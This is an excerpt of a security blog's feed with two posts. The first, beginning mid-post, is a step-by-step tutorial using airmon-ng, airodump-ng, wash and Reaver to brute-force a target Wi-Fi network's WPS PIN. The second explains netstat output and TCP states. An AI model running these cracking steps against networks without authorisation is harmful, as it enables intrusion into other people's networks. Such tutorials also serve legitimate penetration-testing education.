    href=&quot;https://www.hackingtruth.in&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;reaver WPS Cracker tool&quot;
      border=&quot;0&quot;
      data-original-height=&quot;372&quot;
      data-original-width=&quot;668&quot;
      height=&quot;356&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht23uvUwBSoMqgVtLlur09NxvD96cm9wnqgqNDoF2PWOOiay3BYmyaPv62Hc62NW8PSV6-lEi6JTK1hY-8aekhYxEPce8ujRUgSFcCr_OJBnmQ6T9uOhm_7Pac1X_gCZvYYoR17qcYRxYmohCE0ZwjHqKmJtUqFuTu1a7e_jBhc2Jx3l_zP60EEk4xXo5M/w640-h356/first.png&quot;
      title=&quot;reaver WPS Cracker tool&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;7752134372&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &amp;nbsp;&lt;br /&gt;Look for your wireless adapter (&lt;b&gt;e.g., wlan0&lt;/b&gt;) and make sure
  it supports monitor mode.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3.&lt;/b&gt; Put Your Wireless Adapter
  into Monitor Mode: Use the following command to put your wireless adapter into
  monitor mode (replace &quot;wlan0&quot; with your adapter&#39;s name):
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;cmd - airmon-ng start wlan0&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;reaver WPS Cracker tool&quot;
      border=&quot;0&quot;
      data-original-height=&quot;461&quot;
      data-original-width=&quot;779&quot;
      height=&quot;378&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyjmdaZouUNp6_tE0I88HmyQZPVmi_bH8dj-YmxEpVUylIco3xbJ9fI0FDx7kEkoH-0UYk0iT61CUxwwsTJss_QVFrojL6-4N1f5HRanUK5zghK9uuC00EsTVG6KwTtHSrjlrHHwSL7SWzkTDxGATRjaRxiykvqJwD9MWRjaBsgEUbAVTrKdKe38CrMXIf/w640-h378/1.png&quot;
      title=&quot;reaver WPS Cracker tool&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;b&gt;4.&lt;/b&gt; Identify the Target Network: Scan for nearby Wi-Fi networks to
  identify the target network&#39;s BSSID (MAC address) and channel:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;cmd - airodump-ng wlan0mon &lt;/b
  &gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;reaver WPS Cracker tool&quot;
      border=&quot;0&quot;
      data-original-height=&quot;129&quot;
      data-original-width=&quot;757&quot;
      height=&quot;110&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigSz5YDWny1j8PRhoPo8tLeni2GNYj6o6kllXVqrklcVuJCagh_QhxsxF8PySSHh2DgGqgNSCW3UtxGumMeymmhnoYIkSgE2bvbNV59adRjQqT1U8KUgM2DdaekI01IP3lkJWB3TBFDOrdvio6KbG9qTnSFwAp4mfTFRbORJe8rq5FeufA8ZLd67zb3bVf/w640-h110/2.png&quot;
      title=&quot;reaver WPS Cracker tool&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- feb-2023 --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;9637714071&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;5. &lt;/b&gt;We can check that the interface is in monitor mode by typing
  ifconfig. You will notice that the interface will have a mon at the end of its
  name. You may get a message that some services are interfering with your card
  when putting it into monitor mode. If this happens, simply run the following
  command:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;cmd - airmon-ng check kill&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;reaver WPS Cracker tool&quot;
      border=&quot;0&quot;
      data-original-height=&quot;191&quot;
      data-original-width=&quot;341&quot;
      height=&quot;358&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlplow45U2GSLQe-1Fy6NjaPRv4XGKLaRwa8l_7ZmL6W8nwD50Bc1CXnqTMA9j7iwHCNVCSj518O5bu_AOkmcqsJA6Vg2wsnvK_2MwAkh5diI48kF7iiTCb49_aFpfGHjNX7cyXXjyPoHBRm4UreW0Iu61hzlkzX0VyrvjfxQZRDKQH2-MfH47TLU2k0u1/w640-h358/3.png&quot;
      title=&quot;reaver WPS Cracker tool&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;6. &lt;/b&gt;Once our interface is in monitor mode, we can now scan for nearby
  networks. We can do this with the following command:&lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;cmd - wash -i wlan0mon&lt;/b
  &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;reaver WPS Cracker tool&quot;
      border=&quot;0&quot;
      data-original-height=&quot;207&quot;
      data-original-width=&quot;685&quot;
      height=&quot;194&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkb8OxarmTnmSi5x98KjpZv5nDRBgMiuZELERuZ-aS8ixZCmsM-iL_qcb3qB5MZdvGAoLLuh4ZATujPV0rP55xiTdb7l9CCIihA4sGp4qziqiwsOpqQmPrXHvpcvhTXcDv8Uoi-qqO0SvMaZ0B0Ql5mEC6IfbIL6_GpgEP8j1NOpgh2KVc7V7MnsTIpCHY/w640-h194/4.png&quot;
      title=&quot;reaver WPS Cracker tool&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  This command will show us all available networks and whether these networks
  have WPS enabled.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;b&gt;7. &lt;/b&gt;Run Reaver: Now, you can use Reaver to attempt to crack the
  WPS PIN:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;cmd - reaver -i wlan0mon -b [BSSID] -c [channel] -vv [verbose]&lt;/b
  &gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;reaver WPS Cracker tool&quot;
      border=&quot;0&quot;
      data-original-height=&quot;465&quot;
      data-original-width=&quot;729&quot;
      height=&quot;408&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilYZTBKJZm6B7bqp0eDoQlnD7t3FlXW6ZRj-lft_B9HR-NLTaNjNL5Cm_qMY-qYbpTQlpCcyimcwulUFSggDgqj5f4SPYpeg7pO3XHF4xzfLCv_AIxQzkhuXLJUFA9ayzk0JzBcqz6FCqrlhwEq5WYZmKcBVu5Q-0HddM6G5EZVakLd_zyhvXYDBLetVdg/w640-h408/5.png&quot;
      title=&quot;reaver WPS Cracker tool&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- kumaratuljaiswal_sidebar_AdSense2_1x1_as --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;2865261013&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;Replace [BSSID] with the BSSID of the target network and [channel] with its
    channel number.&lt;/b
  &gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Let’s break this command down:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The&lt;b&gt; -i &lt;/b&gt;tag
  is telling &lt;b&gt;Reaver&lt;/b&gt; which interface we want to use for the attack&lt;br /&gt;&lt;br /&gt;The
  &lt;b&gt;-c&lt;/b&gt; tag is telling the &lt;b&gt;tool&lt;/b&gt; which channel the
  &lt;b&gt;Wi-Fi network &lt;/b&gt;we are targeting is on&lt;br /&gt;&lt;br /&gt;The&lt;b&gt; -b &lt;/b&gt;tag is
  the &lt;b&gt;BSSID&lt;/b&gt; of the &lt;b&gt;network&lt;/b&gt; we are &lt;b&gt;targeting&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The
  &lt;b&gt;-vv&lt;/b&gt; tag is &lt;b&gt;enabling&lt;/b&gt; &lt;b&gt;verbose&lt;/b&gt;, which will tell us what the
  tool is doing&lt;br /&gt;&lt;br /&gt;When this command is executed, &lt;b&gt;Reaver&lt;/b&gt; will
  begin testing various &lt;b&gt;PINs&lt;/b&gt; against the network.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;b&gt;&lt;br /&gt;6.&lt;/b&gt; Wait for the Attack: &lt;b&gt;&lt;i&gt;Reaver&lt;/i&gt;&lt;/b&gt; will start
  trying different PIN combinations. It may take some time, depending on the
  complexity of the PIN. When &lt;i&gt;&lt;b&gt;Reaver&lt;/b&gt;&lt;/i&gt; successfully recovers the
  &lt;i&gt;&lt;b&gt;WPS&lt;/b&gt;&lt;/i&gt; &lt;i&gt;&lt;b&gt;PIN&lt;/b&gt;&lt;/i
  &gt;, it will display the &lt;b&gt;&lt;i&gt;PIN&lt;/i&gt;&lt;/b&gt; on the screen.&lt;br /&gt;&lt;br /&gt;Remember
  that using &lt;b&gt;&lt;i&gt;Reaver&lt;/i&gt;&lt;/b&gt; or similar tools on networks you do not have
  explicit permission to test is &lt;i&gt;illegal&lt;/i&gt; and &lt;i&gt;unethical&lt;/i&gt;. Always
  ensure you have the proper authorization and legal consent before attempting
  any security assessments or penetration tests. Unauthorized access to computer
  networks is a criminal offense in many jurisdictions.&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;Finally if you have done then you can stop these task.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;cmd - sudo airmon-ng stop wlan0mon&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;reaver WPS Cracker tool&quot;
      border=&quot;0&quot;
      data-original-height=&quot;426&quot;
      data-original-width=&quot;780&quot;
      height=&quot;350&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCaT8ANP6oKir9Rr3zokTj_97rq-nprPcrkeewqkKXUubuWJ2BHHIKrcyDFWPpGknYE1s5L_eXotQcg5CySr87-P5JzfWZ8azXdDRLaChhITa9ytNXsc9yd0XabwGFllvopbao4hYZoMW8A0GUITL5OPSm7xFJDmxd7hcyu61AZhfZp0UCBP03ZWneBVHb/w640-h350/6.png&quot;
      title=&quot;reaver WPS Cracker tool&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Disclaimer&lt;/h4&gt;

All tutorials are for informational and educational purposes only and have been
made using our own routers, servers, websites and other vulnerable free
resources. we do not contain any illegal activity. We believe that ethical
hacking, information security and cyber security should be familiar subjects to
anyone using digital information and computers. Hacking Truth is against misuse
of the information and we strongly suggest against it. Please regard the word
hacking as ethical hacking or penetration testing every time this word is used.
We do not promote, encourage, support or excite any illegal activity or hacking.

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/3125929089857473219/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/3125929089857473219'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/3125929089857473219'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html' title='reaver WPS wifi Cracker tool'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1KRhXTy8Z4YgswEp6wmKmCUsPydkORo1IkJhfSTXv6M2y9nqYC599SQ7ZzcrmoJDeQUU1_DBH8soME_1KKXP5B1eHDuJtldTqcggTcvOabJiQ6Dohxm0HArzA7s1OjGzQc6u22w_bzDf_xMZzCjOPHVq300PeSWjzC4cUCLKp0L-KSyzTZYu_F-mq4Qsa/s72-w640-h360-c/reaver%20WPS%20Cracker%20tool.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-3654159941049644153</id><published>2023-08-16T04:47:00.000-07:00</published><updated>2023-08-16T04:47:16.218-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Computer Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="netstat"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><title type='text'>Local and Foreign Address using netstat </title><content type='html'>&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.kumaratuljaiswal.in/&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      border=&quot;0&quot;
      data-original-height=&quot;1080&quot;
      data-original-width=&quot;1920&quot;
      height=&quot;360&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6qXIdt8M7ne73qqXKYbj6qby5dwj89lsYgcsUeeYBs-kFk5lpWIoNGMqx8IYqHgAljCDVbtOJvwglEs3oV-0u9TP_EvUtJ5PR6RGSmgYoScVS5MzHB1vTfEFXKroHlJ-wwsWV481GyR3KRjHyti_jyz5xbbTaNWDJMQBbcDkGXUcxXphDzupaHhQT_EMS/w640-h360/netstat.png&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;Local and Foreign Address using netstat&lt;/h4&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;In the context of &lt;b&gt;&lt;i&gt;netstat&lt;/i&gt;&lt;/b&gt; command, the &#39;&lt;i
    &gt;&lt;b&gt;Local Address&lt;/b&gt;&lt;/i
  &gt;&#39; refers to the network address of your own computer, where a particular
  &lt;i&gt;&lt;b&gt;network&lt;/b&gt;&lt;/i&gt; service is running. The &#39;Foreign Address&lt;i&gt;&lt;b&gt;&#39;&lt;/b&gt;&lt;/i&gt;
  refers to the network address of the remote computer or device that your
  computer is connected to for that specific network service. This command
  provides information about network connections and network statistics on your
  system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;We will begin by viewing the help
  information screen by executing the following command:&lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;netstat -h&lt;/b
  &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We will then view all active connections by typing
  the following:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;netstat&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;b
    &gt;&lt;a
      href=&quot;https://www.kumaratuljaiswal.in/&quot;
      style=&quot;margin-left: 1em; margin-right: 1em;&quot;
      target=&quot;_blank&quot;
      &gt;&lt;img
        border=&quot;0&quot;
        data-original-height=&quot;699&quot;
        data-original-width=&quot;807&quot;
        height=&quot;554&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizIxrW6vRTWImg0CjOhX_kH82LSRLEgV5mhdluOHreG1F0YomLdbRC75LfV5EuVD58hpQ_-12stCStngzyg7HPuPiFmtn77Q5KLfFLRBFpBuLYE83_oFvsXn-F6AKONq6JcCPdtzVUZZJsBVNDjmqiX6PCNFEDnrThPAS-Zdky-6sKC1jMnBYRYuQibJ2V/w640-h554/netstat-h.png&quot;
        width=&quot;640&quot; /&gt;&lt;/a
  &gt;&lt;/b&gt;
&lt;/div&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;7752134372&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;b&gt;&lt;br /&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;
&lt;p&gt;
  &lt;br /&gt;We can use &lt;b&gt;netstat&lt;/b&gt; to display both local and foreign addresses in
  numeric IP form using the “&lt;b&gt;&lt;i&gt;-n&lt;/i&gt;&lt;/b
  &gt;” parameter.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;netstat -n&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If we want
  to view only &lt;b&gt;&lt;i&gt;TCP&lt;/i&gt;&lt;/b&gt; &lt;i&gt;&lt;b&gt;connections&lt;/b&gt;&lt;/i
  &gt;, we need to add the “&lt;b&gt;-t&lt;/b&gt;” parameter.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;netstat -t&lt;br /&gt;&lt;/b
  &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Similary, if we want to view only &lt;b&gt;&lt;i&gt;UDP&lt;/i&gt;&lt;/b&gt;
  &lt;i&gt;&lt;b&gt;connections&lt;/b&gt;&lt;/i
  &gt;, we need to add the “&lt;b&gt;-u&lt;/b&gt;” parameter.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;netstat -u&lt;/b
  &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We can combine and operate multiple parameters in a
  single command as follows;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;netstat -tn&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Let’s look at the figure;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1)&lt;/b&gt;
  This area shows our local IP address and port number for each connection.&lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;2) &lt;/b
  &gt;This field shows our remote IP address and port number for each
  connection.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3) &lt;/b&gt;This area displays the TCP / UDP status of
  each connection;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;


&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- feb-2023 --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;9637714071&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;



&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.kumaratuljaiswal.in/&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      border=&quot;0&quot;
      data-original-height=&quot;618&quot;
      data-original-width=&quot;794&quot;
      height=&quot;498&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz3B5uEaSw5nIXA2yMCcQbbxlJKLD5c1sH48vQxQdSd32M3tLGDj9nonfglTEb7uo9YrhUT4fiFxtG_Xlgjf5XPC47LP8RpfOhatzz0BZdFH7Vwze_L1FLS3Bvi_JcuP4KC6YefMiG8ucm-LWvd62vN64lVoVmANhFfkKYBaZDBkJnsp31rcqUdHM0C4JV/w640-h498/netstat-hackingtruth.png&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;5920726694&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# LISTEN&lt;/b&gt;: represents waiting for a connection request from any remote
  TCP and port.&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# SYN-SENT&lt;/b&gt;: represents waiting for a matching connection request after
  having sent a connection request.&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# SYN-RECEIVED&lt;/b&gt;: represents waiting for a confirming connection request
  acknowledgment after having both received and sent a connection request.&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# ESTABLISHED&lt;/b&gt;: represents an open connection, data received can be
  delivered to the user.&amp;nbsp; The normal state for the data transfer phase of
  the connection.&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# FIN-WAIT-1&lt;/b&gt;: represents waiting for a connection termination request
  from the remote TCP, or an acknowledgment of the connection termination
  request previously sent.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# FIN-WAIT-2&lt;/b&gt;: represents waiting
  for a connection termination request from the remote TCP.&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# CLOSE-WAIT&lt;/b&gt;: represents waiting for a connection termination request
  from the local user.&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# CLOSING&lt;/b&gt;: represents waiting for a connection termination request
  acknowledgment from the remote TCP.&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# LAST-ACK&lt;/b&gt;: represents waiting for an acknowledgment of the connection
  termination request previously sent to the remote TCP (which includes an
  acknowledgment of its connection termination request).&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# TIME-WAIT&lt;/b&gt;: represents waiting for enough time to pass to be sure the
  remote TCP received the acknowledgment of its connection termination
  request.&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# CLOSED&lt;/b&gt;: represents no connection state at all.&lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;&amp;nbsp;&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Disclaimer&lt;/h4&gt;

All tutorials are for informational and educational purposes only and have been
made using our own routers, servers, websites and other vulnerable free
resources. we do not contain any illegal activity. We believe that ethical
hacking, information security and cyber security should be familiar subjects to
anyone using digital information and computers. Hacking Truth is against misuse
of the information and we strongly suggest against it. Please regard the word
hacking as ethical hacking or penetration testing every time this word is used.
We do not promote, encourage, support or excite any illegal activity or hacking.

